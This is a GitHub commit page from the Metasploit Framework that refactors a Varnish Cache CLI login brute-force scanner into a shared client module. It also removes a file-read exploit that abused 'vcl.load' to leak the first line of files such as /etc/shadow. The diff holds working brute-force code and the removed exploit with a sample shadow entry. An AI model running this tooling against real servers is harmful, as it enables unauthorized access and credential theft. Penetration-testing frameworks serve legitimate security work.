Skip to content

Commit 372cf74

Browse files
committed
saving before changing branches
1 parent 05e59bb commit 372cf74

File tree

3 files changed

+81
-83
lines changed

3 files changed

+81
-83
lines changed

lib/metasploit/framework/login_scanner/varnish.rb

Lines changed: 19 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
require 'metasploit/framework/tcp/client'
2+
require 'metasploit/framework/varnish/client'
13
require 'metasploit/framework/login_scanner/base'
24
require 'metasploit/framework/login_scanner/rex_socket'
35

@@ -6,12 +8,12 @@ module Framework
68
module LoginScanner
79

810
# This is the LoginScanner class for dealing with Varnish CLI.
9-
# It is responsible for taking a single target, and a list of credentials
10-
# and attempting them. It then saves the results.
11+
1112
class VarnishCLI
1213
include Metasploit::Framework::LoginScanner::Base
1314
include Metasploit::Framework::LoginScanner::RexSocket
1415
include Metasploit::Framework::Tcp::Client
16+
include Metasploit::Framework::Varnish::Client
1517

1618
DEFAULT_PORT = 6082
1719
LIKELY_PORTS = [ DEFAULT_PORT ]
@@ -20,47 +22,25 @@ class VarnishCLI
2022
REALM_KEY = nil
2123

2224
def attempt_login(credential)
23-
result_opts = {
24-
credential: credential,
25-
host: host,
26-
port: port,
27-
service_name: 'varnishcli',
28-
protocol: 'tcp',
29-
max_send_size: datastore['TCP::max_send_size'],
30-
send_delay: datastore['TCP::send_delay']
31-
}
3225
begin
33-
disconnect if self.sock
3426
connect
35-
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail to get the challenge
36-
res = sock.get_once(-1,3) # grab challenge
37-
if res && res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./ # 107 auth
38-
challenge = $1
39-
response = challenge + "\n"
40-
response << credential.private + "\n"
41-
response << challenge + "\n"
42-
#secret = pass + "\n" # newline is needed
43-
#response = challenge + "\n" + secret + challenge + "\n"
44-
response = Digest::SHA256.hexdigest(response)
45-
sock.put("auth #{response}\n")
46-
res = sock.get_once(-1,3)
47-
if res && res =~ /107 \d+/ # 107 auth
48-
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
49-
elsif res.nil?
50-
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response')
51-
elsif res =~ /200 \d+/ # 200 ok
52-
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res)
53-
end
54-
elsif res && res =~ /Varnish Cache CLI 1.0/
55-
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: 'No Authentication Required')
56-
else
57-
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'Unknown Response')
27+
rescue Rex::ConnectionError, EOFError, Timeout::Error
28+
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
29+
else
30+
begin
31+
success = login(credential.private)
32+
rescue RuntimeError => e
33+
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
5834
end
59-
disconnect
60-
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
61-
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
35+
36+
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
6237
end
63-
Result.new(result_opts)
38+
result = Result.new(credential: credential, status: status)
39+
result.host = host
40+
result.port = port
41+
result.protocol = 'tcp'
42+
result.service_name = 'varnishcli'
43+
result
6444
end
6545

6646
def set_sane_defaults
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
require 'msf/core/exploit/tcp'
4+
5+
module Metasploit
6+
module Framework
7+
module Varnish
8+
module Client
9+
10+
11+
def login(pass)
12+
begin
13+
if require_auth?
14+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail to get the challenge
15+
res = sock.get_once(-1,3) # grab challenge
16+
if res && res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./ # 107 auth
17+
challenge = $1
18+
response = challenge + "\n"
19+
response << pass + "\n"
20+
response << challenge + "\n"
21+
response = Digest::SHA256.hexdigest(response)
22+
sock.put("auth #{response}\n")
23+
res = sock.get_once(-1,3)
24+
if res && res =~ /200 \d+/ # 200 ok
25+
return true
26+
else
27+
return false
28+
end
29+
else
30+
raise RuntimeError, "Varnish Login timeout"
31+
end
32+
end
33+
rescue Timeout::Error
34+
raise RuntimeError, "Varnish Login timeout"
35+
end
36+
end
37+
38+
def close_session
39+
sock.put('quit')
40+
end
41+
42+
def require_auth?
43+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail to get the challenge
44+
res = sock.get_once(-1,3) # grab challenge
45+
if res && res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./ # 107 auth
46+
return true
47+
else
48+
return false
49+
end
50+
end
51+
52+
end
53+
end
54+
end
55+
end
56+

modules/auxiliary/scanner/varnish/varnish_cli_bruteforce.rb renamed to modules/auxiliary/scanner/varnish/varnish_cli_login.rb

Lines changed: 6 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'msf/core'
77
require 'metasploit/framework/credential_collection'
88
require 'metasploit/framework/login_scanner/varnish'
9+
require 'metasploit/framework/tcp/client'
910

1011
class MetasploitModule < Msf::Auxiliary
1112

@@ -15,10 +16,9 @@ class MetasploitModule < Msf::Auxiliary
1516

1617
def initialize
1718
super(
18-
'Name' => 'Varnish Cache CLI Login Utility and File Read',
19+
'Name' => 'Varnish Cache CLI Login Utility',
1920
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
20-
list of passwords. This module will also cause an error in Varnish by load an arbitrary file
21-
in order to read the first line of content from the insuing error message.',
21+
list of passwords.',
2222
'References' =>
2323
[
2424
[ 'OSVDB', '67670' ],
@@ -38,10 +38,7 @@ def initialize
3838
[
3939
Opt::RPORT(6082),
4040
OptPath.new('PASS_FILE', [ false, 'File containing passwords, one per line',
41-
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]),
42-
OptPath.new('FILE', [true, 'File to retrieve first line of', '/etc/shadow']),
43-
OptString.new('USERNAME', [false, 'A specific username to authenticate as', '<BLANK>']),
44-
OptBool.new('USER_AS_PASS', [false, 'Try the username as the password for all users', false])
41+
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
4542
], self.class)
4643

4744
# no username, only a shared key aka password
@@ -51,7 +48,7 @@ def initialize
5148
# usernames that are passed in.
5249
@strip_usernames = true
5350
end
54-
51+
5552
def setup
5653
super
5754
# They must select at least blank passwords, provide a pass file or a password
@@ -66,41 +63,10 @@ def setup
6663
end
6764
end
6865

69-
def read_file(password)
70-
connect
71-
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.
72-
res = sock.get_once(-1,3) # grab challenge
73-
if res && res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./ # 107 auth
74-
challenge = $1
75-
response = challenge + "\n"
76-
response << password + "\n"
77-
response << challenge + "\n"
78-
response = Digest::SHA256.hexdigest(response)
79-
sock.put("auth #{response}\n")
80-
res = sock.get_once(-1,3)
81-
end
82-
sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}\n") # only returns 1 line of any target file.
83-
res = sock.get_once(-1,3)
84-
85-
# example format from /etc/shadow on an ubuntu box
86-
# Message from VCC-compiler:
87-
# Syntax error at
88-
# ('input' Line 1 Pos 5)
89-
# root:!:17123:0:99999:7:::
90-
# ----#--------------------
91-
92-
if res && res =~ /\('input' Line \d Pos \d\)\n(...+)\n/
93-
print_good("First line of #{datastore['FILE']}: #{$1}:")
94-
else
95-
vprint_error("Unable to read #{datastore['FILE']}:\n#{res}\n")
96-
end
97-
disconnect
98-
end
99-
10066
def run_host(ip)
10167
cred_collection = Metasploit::Framework::CredentialCollection.new(
10268
pass_file: datastore['PASS_FILE'],
103-
username: ''
69+
username: '<BLANK>'
10470
)
10571
vprint_status('made cred collector')
10672
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
@@ -115,7 +81,6 @@ def run_host(ip)
11581
)
11682
vprint_status('made scanner')
11783
scanner.scan! do |result|
118-
print(result)
11984
credential_data = result.to_h
12085
credential_data.merge!(
12186
module_fullname: fullname,
@@ -127,9 +92,6 @@ def run_host(ip)
12792
create_credential_login(credential_data)
12893

12994
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
130-
connect
131-
read_file(result.credential.private)
132-
disconnect
13395
else
13496
invalidate_login(credential_data)
13597
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private} (#{result.status})"

0 commit comments

Comments
 (0)